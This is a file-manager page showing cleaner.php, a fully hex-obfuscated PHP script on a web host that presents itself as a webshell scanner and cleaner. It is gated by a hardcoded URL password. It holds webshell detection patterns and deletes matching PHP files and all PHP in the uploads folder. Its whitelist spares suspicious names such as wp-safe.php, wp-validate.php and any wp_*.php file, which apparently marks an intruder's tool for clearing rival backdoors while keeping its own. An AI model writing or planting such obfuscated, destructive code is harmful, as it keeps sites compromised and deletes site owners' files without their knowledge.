📄 File: cleaner.php

Path: /home/kvzyqrttyz/monolog787.com/cleaner.php

Size: 16.17 KB

Permissions: 0644

<?php ini_set("\x64\x69\x73\x70\x6c\x61\x79\x5f\x65\x72\x72\x6f\x72\x73", 1); error_reporting(E_ALL); define("\x41\x43\x43\x45\x53\x53\x5f\x50\x41\x53\x53\x57\x4f\x52\x44", "\x61\x31\x32\x33"); if (($_GET["\x70\x77\x64"] ?? "") !== ACCESS_PASSWORD) { header("\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x34\x30\x33\x20\x46\x6f\x72\x62\x69\x64\x64\x65\x6e"); die("\x3c\x68\x32\x20\x73\x74\x79\x6c\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x72\x65\x64\x3b\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x3b\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x35\x30\x70\x78\x3b\x22\x3e\x41\x63\x63\x65\x73\x73\x20\x44\x65\x6e\x69\x65\x64\x3a\x20\x49\x6e\x63\x6f\x72\x72\x65\x63\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x6f\x72\x20\x75\x6e\x61\x75\x74\x68\x6f\x72\x69\x7a\x65\x64\x2e\x3c\x2f\x68\x32\x3e"); } set_time_limit(0); ini_set("\x6d\x65\x6d\x6f\x72\x79\x5f\x6c\x69\x6d\x69\x74", "\x31\x30\x32\x34\x4d"); error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING); class StandaloneScanner { private $v_0; private $v_1 = false; private $v_2 = []; private $v_3 = []; private $v_4 = 0; private $v_5 = [ "\x45\x76\x61\x6c\x20\x44\x65\x63\x6f\x64\x65\x64\x20\x55\x73\x65\x72\x20\x49\x6e\x70\x75\x74" => '/eval\s*\(\s*(base64_decode|gzinflate|gzuncompress|str_rot13|urldecode)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i', "\x44\x69\x72\x65\x63\x74\x20\x45\x76\x61\x6c\x20\x55\x73\x65\x72\x20\x49\x6e\x70\x75\x74" => '/eval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/i', "\x4f\x62\x66\x75\x73\x63\x61\x74\x65\x64\x20\x41\x75\x74\x68\x20\x50\x61\x74\x74\x65\x72\x6e" => '/md5\s*\(\s*\$_(COOKIE|POST|GET|REQUEST)\[.*?\]\s*\)\s*(===?|!==?|==|!=)\s*[\'"](\\\\[xX][0-9a-fA-F]{2}|\\\\[0-7]{1,3})+[\'"]/i', "\x56\x61\x72\x69\x61\x62\x6c\x65\x20\x46\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x61\x6c\x6c" => '/\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\[/i', "\x46\x75\x6e\x63\x74\x69\x6f\x6e\x20\x46\x72\x61\x67\x6d\x65\x6e\x74" => '/([\'"](ba|se64_d)[\'"]\s*\.\s*[\'"](se64_decode|ecode)[\'"])/i', "\x4b\x6e\x6f\x77\x6e\x20\x57\x65\x62\x53\x68\x65\x6c\x6c\x20\x53\x69\x67\x6e\x61\x74\x75\x72\x65"=> "\x2f\x28\x57\x53\x4f\x5f\x56\x45\x52\x53\x49\x4f\x4e\x7c\x46\x69\x6c\x65\x73\x4d\x61\x6e\x7c\x43\x79\x62\x65\x72\x53\x68\x65\x6c\x6c\x7c\x53\x65\x63\x75\x72\x65\x73\x68\x65\x6c\x6c\x7c\x62\x33\x37\x34\x6b\x29\x2f\x69" ]; public function __construct($v_6, $v_7 = []) { $this->targetPath = rtrim(realpath($v_6), "\x2f"); $this->whitelist = array_map("\x72\x65\x61\x6c\x70\x61\x74\x68", $v_7); $this->detectEnvironment(); } private function detectEnvironment() { if (file_exists($this->targetPath . "\x2f\x77\x70\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70") && is_dir($this->targetPath . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73")) { $this->isWordPress = true; } } private function isWhitelisted($v_8) { $v_9 = realpath($v_8); if (!$v_9) return false; foreach ($this->whitelist as $v_a) { if ($v_a && strpos($v_9, $v_a) === 0) return true; } return false; } public function execute() { if ($this->isWordPress) { $this->runWordPressStrategy(); } else { $this->runGenericStrategy(); } $this->displayReport(); } private function runWordPressStrategy() { $v_b = $this->targetPath . "\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x75\x70\x6c\x6f\x61\x64\x73"; if (is_dir($v_b)) $this->scanAndProcessDir($v_b, true); $v_c = [ $this->targetPath . "\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x70\x6c\x75\x67\x69\x6e\x73", $this->targetPath . "\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x74\x68\x65\x6d\x65\x73", $this->targetPath . "\x2f\x77\x70\x2d\x61\x64\x6d\x69\x6e", $this->targetPath . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73" ]; foreach ($v_c as $v_d) { if (is_dir($v_d)) $this->scanAndProcessDir($v_d, false); } $v_e = glob($this->targetPath . "\x2f\x2a\x2e\x70\x68\x70"); if ($v_e) { foreach ($v_e as $v_f) { if (is_file($v_f)) $this->evaluateFile($v_f, false); } } } private function runGenericStrategy() { $this->scanAndProcessDir($this->targetPath, false); } private function scanAndProcessDir($v_g, $v_h = false) { try { $v_i = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($v_g, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($v_i as $v_f) { if (!$v_f->isFile()) continue; if (strtolower($v_f->getExtension()) !== "\x70\x68\x70") continue; $this->scannedCount++; $this->evaluateFile($v_f->getPathname(), $v_h); if ($this->scannedCount % 500 === 0) { echo "<!-- alive -->\n"; if (ob_get_level() > 0) { ob_flush(); } flush(); usleep(10000); } } } catch (Exception $v_j) {} } private function evaluateFile($v_8, $v_h = false) { if ($this->isWhitelisted($v_8)) return; $v_k = false; $v_l = ""; if ($v_h) { $v_k = true; $v_l = "\x57\x50\x20\x53\x65\x63\x75\x72\x69\x74\x79\x3a\x20\x50\x48\x50\x20\x73\x63\x72\x69\x70\x74\x73\x20\x61\x72\x65\x20\x73\x74\x72\x69\x63\x74\x6c\x79\x20\x66\x6f\x72\x62\x69\x64\x64\x65\x6e\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x70\x6c\x6f\x61\x64\x73\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79"; } else { $v_m = file_get_contents($v_8, false, null, 0, 1024 * 512); foreach ($this->genericRules as $v_n => $v_o) { if (preg_match($v_o, $v_m)) { $v_k = true; $v_l = "\x4d\x61\x74\x63\x68\x65\x64\x20\x53\x69\x67\x6e\x61\x74\x75\x72\x65\x3a\x20" . $v_n; break; } } } if ($v_k) { if (@unlink($v_8)) { $this->results[] = ["\x66\x69\x6c\x65" => $v_8, "\x73\x74\x61\x74\x75\x73" => "\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x20\x44\x65\x6c\x65\x74\x65\x64", "\x72\x65\x61\x73\x6f\x6e" => $v_l]; } else { $this->results[] = ["\x66\x69\x6c\x65" => $v_8, "\x73\x74\x61\x74\x75\x73" => "\x44\x65\x6c\x65\x74\x69\x6f\x6e\x20\x46\x61\x69\x6c\x65\x64\x20\x28\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x20\x44\x65\x6e\x69\x65\x64\x29", "\x72\x65\x61\x73\x6f\x6e" => $v_l]; } } } private function displayReport() { echo "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x68\x74\x6d\x6c\x3e\x3c\x68\x74\x6d\x6c\x20\x6c\x61\x6e\x67\x3d\x22\x65\x6e\x22\x3e\x3c\x68\x65\x61\x64\x3e\x3c\x6d\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x22\x55\x54\x46\x2d\x38\x22\x3e\x3c\x74\x69\x74\x6c\x65\x3e\x57\x65\x62\x53\x68\x65\x6c\x6c\x20\x53\x63\x61\x6e\x6e\x65\x72\x20\x52\x65\x70\x6f\x72\x74\x3c\x2f\x74\x69\x74\x6c\x65\x3e"; echo "\x3c\x73\x74\x79\x6c\x65\x3e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6f\x64\x79\x20\x7b\x20\x66\x6f\x6e\x74\x2d\x66\x61\x6d\x69\x6c\x79\x3a\x20\x73\x79\x73\x74\x65\x6d\x2d\x75\x69\x2c\x20\x2d\x61\x70\x70\x6c\x65\x2d\x73\x79\x73\x74\x65\x6d\x2c\x20\x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66\x3b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x66\x38\x66\x39\x66\x61\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x33\x33\x33\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x32\x30\x70\x78\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x63\x6f\x6e\x74\x61\x69\x6e\x65\x72\x20\x7b\x20\x6d\x61\x78\x2d\x77\x69\x64\x74\x68\x3a\x20\x31\x30\x30\x30\x70\x78\x3b\x20\x6d\x61\x72\x67\x69\x6e\x3a\x20\x30\x20\x61\x75\x74\x6f\x3b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x20\x23\x66\x66\x66\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x33\x30\x70\x78\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x20\x38\x70\x78\x3b\x20\x62\x6f\x78\x2d\x73\x68\x61\x64\x6f\x77\x3a\x20\x30\x20\x34\x70\x78\x20\x36\x70\x78\x20\x72\x67\x62\x61\x28\x30\x2c\x30\x2c\x30\x2c\x30\x2e\x31\x29\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x68\x32\x20\x7b\x20\x62\x6f\x72\x64\x65\x72\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x20\x32\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x30\x30\x37\x62\x66\x66\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x20\x31\x30\x70\x78\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x30\x30\x37\x62\x66\x66\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x73\x75\x6d\x6d\x61\x72\x79\x20\x7b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x20\x23\x65\x39\x65\x63\x65\x66\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x31\x35\x70\x78\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x20\x35\x70\x78\x3b\x20\x6d\x61\x72\x67\x69\x6e\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x20\x32\x30\x70\x78\x3b\x20\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x20\x31\x36\x70\x78\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x73\x75\x63\x63\x65\x73\x73\x2d\x6d\x73\x67\x20\x7b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x31\x35\x35\x37\x32\x34\x3b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x64\x34\x65\x64\x64\x61\x3b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x31\x35\x70\x78\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\x72\x61\x64\x69\x75\x73\x3a\x20\x35\x70\x78\x3b\x20\x62\x6f\x72\x64\x65\x72\x3a\x20\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x63\x33\x65\x36\x63\x62\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x61\x62\x6c\x65\x20\x7b\x20\x77\x69\x64\x74\x68\x3a\x20\x31\x30\x30\x25\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\x63\x6f\x6c\x6c\x61\x70\x73\x65\x3a\x20\x63\x6f\x6c\x6c\x61\x70\x73\x65\x3b\x20\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x20\x32\x30\x70\x78\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x2c\x20\x74\x64\x20\x7b\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\x20\x31\x32\x70\x78\x3b\x20\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x20\x6c\x65\x66\x74\x3b\x20\x62\x6f\x72\x64\x65\x72\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\x20\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x64\x65\x65\x32\x65\x36\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x20\x7b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x66\x38\x66\x39\x66\x61\x3b\x20\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x20\x62\x6f\x6c\x64\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x72\x3a\x68\x6f\x76\x65\x72\x20\x7b\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2d\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x66\x31\x66\x33\x66\x35\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x73\x74\x61\x74\x75\x73\x2d\x6f\x6b\x20\x7b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x32\x38\x61\x37\x34\x35\x3b\x20\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x20\x62\x6f\x6c\x64\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x73\x74\x61\x74\x75\x73\x2d\x66\x61\x69\x6c\x20\x7b\x20\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x64\x63\x33\x35\x34\x35\x3b\x20\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x20\x62\x6f\x6c\x64\x3b\x20\x7d\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x3c\x2f\x68\x65\x61\x64\x3e\x3c\x62\x6f\x64\x79\x3e"; echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x63\x6f\x6e\x74\x61\x69\x6e\x65\x72\x22\x3e"; echo "\x3c\x68\x32\x3e\xf0\x9f\x9b\xa1\xef\xb8\x8f\x20\x53\x6d\x61\x72\x74\x20\x57\x65\x62\x53\x68\x65\x6c\x6c\x20\x53\x63\x61\x6e\x6e\x65\x72\x20\x26\x20\x43\x6c\x65\x61\x6e\x65\x72\x20\x52\x65\x70\x6f\x72\x74\x3c\x2f\x68\x32\x3e"; echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x73\x75\x6d\x6d\x61\x72\x79\x22\x3e"; echo "\x3c\x73\x74\x72\x6f\x6e\x67\x3e\x54\x61\x72\x67\x65\x74\x20\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x3a\x3c\x2f\x73\x74\x72\x6f\x6e\x67\x3e\x20" . htmlspecialchars($this->targetPath) . "\x3c\x62\x72\x3e"; echo "\x3c\x73\x74\x72\x6f\x6e\x67\x3e\x44\x65\x74\x65\x63\x74\x65\x64\x20\x53\x79\x73\x74\x65\x6d\x20\x54\x79\x70\x65\x3a\x3c\x2f\x73\x74\x72\x6f\x6e\x67\x3e\x20" . ($this->isWordPress ? "\x3c\x73\x70\x61\x6e\x20\x73\x74\x79\x6c\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x23\x64\x36\x33\x33\x38\x34\x3b\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x3b\x22\x3e\x57\x6f\x72\x64\x50\x72\x65\x73\x73\x3c\x2f\x73\x70\x61\x6e\x3e" : "\x47\x65\x6e\x65\x72\x69\x63\x20\x50\x48\x50\x20\x53\x79\x73\x74\x65\x6d") . "\x3c\x62\x72\x3e"; echo "\x3c\x73\x74\x72\x6f\x6e\x67\x3e\x54\x6f\x74\x61\x6c\x20\x50\x48\x50\x20\x46\x69\x6c\x65\x73\x20\x53\x63\x61\x6e\x6e\x65\x64\x3a\x3c\x2f\x73\x74\x72\x6f\x6e\x67\x3e\x20" . number_format($this->scannedCount); echo "\x3c\x2f\x64\x69\x76\x3e"; if (empty($this->results)) { echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x73\x75\x63\x63\x65\x73\x73\x2d\x6d\x73\x67\x22\x3e\xe2\x9c\x85\x20\x3c\x73\x74\x72\x6f\x6e\x67\x3e\x47\x72\x65\x61\x74\x21\x3c\x2f\x73\x74\x72\x6f\x6e\x67\x3e\x20\x4e\x6f\x20\x6f\x62\x76\x69\x6f\x75\x73\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x20\x66\x69\x6c\x65\x73\x20\x66\x6f\x75\x6e\x64\x2e\x3c\x2f\x64\x69\x76\x3e"; } else { echo "\x3c\x68\x33\x20\x73\x74\x79\x6c\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x23\x64\x63\x33\x35\x34\x35\x3b\x22\x3e\xe2\x9a\xa0\xef\xb8\x8f\x20\x46\x6f\x75\x6e\x64\x20\x61\x6e\x64\x20\x70\x72\x6f\x63\x65\x73\x73\x65\x64\x20" . count($this->results) . "\x20\x74\x68\x72\x65\x61\x74\x20\x66\x69\x6c\x65\x73\x3a\x3c\x2f\x68\x33\x3e"; echo "\x3c\x74\x61\x62\x6c\x65\x3e"; echo "\x3c\x74\x72\x3e\x3c\x74\x68\x20\x77\x69\x64\x74\x68\x3d\x22\x35\x30\x25\x22\x3e\x4d\x61\x6c\x69\x63\x69\x6f\x75\x73\x20\x46\x69\x6c\x65\x20\x50\x61\x74\x68\x3c\x2f\x74\x68\x3e\x3c\x74\x68\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x30\x25\x22\x3e\x41\x63\x74\x69\x6f\x6e\x20\x53\x74\x61\x74\x75\x73\x3c\x2f\x74\x68\x3e\x3c\x74\x68\x20\x77\x69\x64\x74\x68\x3d\x22\x33\x30\x25\x22\x3e\x54\x72\x69\x67\x67\x65\x72\x20\x52\x65\x61\x73\x6f\x6e\x3c\x2f\x74\x68\x3e\x3c\x2f\x74\x72\x3e"; foreach ($this->results as $v_p) { $v_q = strpos($v_p["\x73\x74\x61\x74\x75\x73"], "\x53\x75\x63\x63\x65\x73\x73") !== false ? "\x73\x74\x61\x74\x75\x73\x2d\x6f\x6b" : "\x73\x74\x61\x74\x75\x73\x2d\x66\x61\x69\x6c"; echo "\x3c\x74\x72\x3e"; echo "\x3c\x74\x64\x3e\x3c\x63\x6f\x64\x65\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x6f\x72\x64\x2d\x62\x72\x65\x61\x6b\x3a\x20\x62\x72\x65\x61\x6b\x2d\x61\x6c\x6c\x3b\x22\x3e" . htmlspecialchars($v_p["\x66\x69\x6c\x65"]) . "\x3c\x2f\x63\x6f\x64\x65\x3e\x3c\x2f\x74\x64\x3e"; echo "\x3c\x74\x64\x20\x63\x6c\x61\x73\x73\x3d\x22" . $v_q . "\x22\x3e" . htmlspecialchars($v_p["\x73\x74\x61\x74\x75\x73"]) . "\x3c\x2f\x74\x64\x3e"; echo "\x3c\x74\x64\x3e" . htmlspecialchars($v_p["\x72\x65\x61\x73\x6f\x6e"]) . "\x3c\x2f\x74\x64\x3e"; echo "\x3c\x2f\x74\x72\x3e"; } echo "\x3c\x2f\x74\x61\x62\x6c\x65\x3e"; } echo "\x3c\x70\x20\x73\x74\x79\x6c\x65\x3d\x22\x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a\x63\x65\x6e\x74\x65\x72\x3b\x20\x6d\x61\x72\x67\x69\x6e\x2d\x74\x6f\x70\x3a\x33\x30\x70\x78\x3b\x20\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\x32\x70\x78\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x23\x36\x63\x37\x35\x37\x64\x3b\x22\x3e\x53\x63\x61\x6e\x20\x43\x6f\x6d\x70\x6c\x65\x74\x65\x64\x20\x41\x74\x3a\x20" . date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\x73") . "\x20\x7c\x20\x50\x6c\x65\x61\x73\x65\x20\x64\x65\x6c\x65\x74\x65\x20\x74\x68\x69\x73\x20\x73\x63\x72\x69\x70\x74\x20\x69\x6d\x6d\x65\x64\x69\x61\x74\x65\x6c\x79\x20\x61\x66\x74\x65\x72\x20\x63\x6c\x65\x61\x6e\x69\x6e\x67\x2e\x3c\x2f\x70\x3e"; echo "\x3c\x2f\x64\x69\x76\x3e\x3c\x2f\x62\x6f\x64\x79\x3e\x3c\x2f\x68\x74\x6d\x6c\x3e"; } } $v_0 = dirname(__FILE__); $v_r = [ $v_0 . "\x2f\x69\x6e\x64\x65\x78\x2e\x70\x68\x70", $v_0 . "\x2f\x63\x6c\x65\x61\x6e\x65\x72\x2e\x70\x68\x70", $v_0 . "\x2f\x69\x6d\x61\x67\x65\x73\x2e\x70\x68\x70", $v_0 . "\x2f\x78\x6d\x6c\x72\x70\x63\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x73\x61\x66\x65\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x76\x61\x6c\x69\x64\x61\x74\x65\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x61\x64\x6d\x69\x6e\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x66\x69\x6c\x65\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x61\x64\x6d\x69\x6e\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x63\x6c\x61\x73\x73\x2d\x77\x70\x2d\x66\x69\x6c\x65\x73\x79\x73\x74\x65\x6d\x2d\x62\x61\x73\x65\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x49\x44\x33\x2f\x67\x65\x74\x69\x64\x33\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x49\x44\x33\x2f\x67\x65\x74\x69\x64\x33\x2e\x6c\x69\x62\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x54\x65\x78\x74\x2f\x44\x69\x66\x66\x2f\x45\x6e\x67\x69\x6e\x65\x2f\x73\x68\x65\x6c\x6c\x2e\x70\x68\x70", $v_0 . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x50\x48\x50\x4d\x61\x69\x6c\x65\x72\x2f\x50\x48\x50\x4d\x61\x69\x6c\x65\x72\x2e\x70\x68\x70" ]; try { $v_i = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($v_0, FilesystemIterator::SKIP_DOTS) ); foreach ($v_i as $v_f) { if ($v_f->isFile() && preg_match('/^wp_.*\.php$/i', $v_f->getFilename())) { $v_r[] = $v_f->getPathname(); } } } catch (Exception $v_j) {} $v_r = array_unique(array_filter($v_r)); $v_s = new StandaloneScanner($v_0, $v_r); $v_s->execute(); ?>

← Back to Directory Edit File 🔒 Chmod